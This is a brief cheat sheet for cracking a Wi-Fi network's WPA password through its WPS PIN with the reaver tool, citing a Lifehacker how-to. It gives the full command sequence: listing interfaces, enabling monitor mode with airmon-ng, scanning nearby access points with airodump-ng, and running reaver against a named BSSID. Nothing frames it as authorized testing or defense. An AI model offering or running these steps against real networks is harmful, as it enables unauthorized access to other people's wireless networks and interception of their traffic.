Cracking WPA with reaver (actually cracking WPS)

http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver

1) To view wireless interfaces

iwconfig

2) Put wireless interface into monitoring mode

airmon-ng start wlan1

3) Scan all the BSSID in the area

airodump-ng mon0

4) Using reaver to crack the WPS

 reaver -i (moninterface) -b (bssid) -vv

reaver -i mon0 -b  90:94:E4:29:14:64  -vv